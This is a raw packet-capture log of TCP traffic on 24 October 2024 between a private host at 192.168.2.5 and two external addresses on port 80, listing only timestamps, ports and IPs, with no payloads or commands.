Oct 24, 2024 08:38:34.530379057 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:34.535980940 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:34.536056042 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:34.536134005 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:34.536153078 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:34.537811995 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:34.543337107 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:34.865775108 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:34.871104956 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:35.438400030 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.438421965 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.438433886 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.438445091 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.438458920 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.438467979 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.438479900 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.438493013 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.438482046 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.438508034 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.438519955 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.438549042 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.438549042 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.438594103 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.443871021 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.443944931 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.444067955 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.444080114 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.444127083 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.593447924 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.593471050 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.593486071 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.593501091 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.593596935 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.593643904 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.593745947 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.593763113 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.593779087 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.593796015 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.593796015 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.593806982 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.593826056 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.593839884 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.594428062 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.594444036 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.594470024 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.594495058 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.596127987 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.596143007 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.596158981 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.596199989 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.596227884 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.644114971 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:35.644179106 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:35.710604906 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.710621119 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.710635900 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.710717916 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.710750103 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.710931063 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.710953951 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.711002111 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.711209059 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.711225033 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.711241007 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.711251020 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.711263895 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.711277962 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.711304903 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.711997986 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.712014914 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.712074041 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.713622093 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.713638067 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.713654995 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.713685989 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.713730097 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.748533010 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.748580933 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.748663902 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.827600956 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.827611923 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.827620983 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.827716112 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.827716112 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.827817917 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.827830076 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.827871084 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.827889919 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.827930927 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.828403950 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.828417063 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.828432083 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.828444004 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.828469992 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.828469992 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.830431938 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.830463886 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.830481052 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.830492020 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.830514908 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.830550909 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.831046104 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.831057072 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.831095934 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.865408897 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.866162062 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.866261959 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.947344065 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.947387934 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.947467089 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.947966099 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.948014021 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.948024988 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.948062897 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.948276043 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.948287010 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.948313951 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.948333025 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.948537111 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.948549032 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.948587894 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.951797962 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.951811075 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.951822996 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.951836109 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.951847076 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.951855898 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.951879025 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.951890945 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.952518940 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.952529907 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.952536106 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.952570915 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.952600956 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.982580900 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.982645988 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:35.982651949 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:35.982743025 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.064476967 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.064639091 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.064663887 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.064708948 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.065393925 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.065406084 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.065418005 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.065448046 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.065485001 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.065562010 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.065574884 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.065586090 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.065613985 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.065640926 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.068758965 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.068794966 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.068805933 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.068809986 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.068844080 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.069072962 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.069083929 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.069094896 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.069114923 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.069142103 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.069535017 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.069576025 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.069591045 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.069631100 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.069715023 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.069725037 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.069753885 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.069771051 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.100737095 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.100881100 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.101515055 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.101564884 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.181627989 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.181644917 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.181740999 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.182346106 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.182389021 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.182400942 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.182475090 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.182485104 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.182518959 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.182519913 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.182594061 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.182739019 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.182750940 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.182761908 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.182782888 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.182818890 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.194163084 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.194186926 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.194199085 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.194210052 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.194221020 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.194230080 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.194230080 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.194256067 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.194279909 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.194973946 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.194987059 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.194997072 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.195044041 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.195082903 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.217797995 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.217812061 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.217823029 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.217864037 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.217905998 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.227063894 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:36.232450962 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:36.300584078 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.300596952 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.300616980 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.300628901 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.300642967 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.300652981 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.300663948 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.300667048 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.300673962 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.300724030 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.300724030 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.303385019 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.303396940 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.303419113 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.303430080 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.303442001 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.303462029 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.303504944 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.303870916 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.304016113 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.310597897 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.310620070 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.310668945 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.310668945 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.310806036 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.310817003 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.310854912 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.334774971 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.334790945 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.334868908 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.376072884 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.376087904 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.376204967 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.376204967 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.416575909 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.416589022 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.416599035 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.416637897 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.416682959 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.416738033 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.416749001 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.416790962 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.416965961 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.416980028 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.417021990 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.417056084 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.420010090 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.420030117 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.420058966 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.420094967 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.420144081 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.420155048 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.420196056 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.420427084 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.420435905 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.420480013 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.420510054 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.420633078 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.420644999 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.420655966 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.420667887 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.420691013 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.420722961 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.427762032 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.427786112 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.427798033 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.427824974 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.427860022 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.493072987 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.493100882 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.493184090 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.493196011 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.493192911 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.493273973 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.493273973 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.533883095 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.533938885 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.533946991 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.533951044 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.533976078 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.533977985 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.534001112 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.534015894 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.534024954 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.534028053 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.534075022 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.537410021 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.537442923 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.537453890 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.537468910 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.537507057 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.537507057 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.537681103 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.537693024 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.537703991 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.537728071 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.537763119 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.538117886 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.538132906 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.538145065 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.538192987 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.538224936 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.545022011 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.545044899 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.545058966 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.545073032 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.545094967 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.545135021 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.545135021 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.610348940 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.610366106 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.610379934 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.610537052 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.610538006 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.650831938 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.650849104 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.650904894 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.650943041 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.650964975 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.650980949 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.650996923 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.651012897 CEST	80	61018	185.215.113.16	192.168.2.5
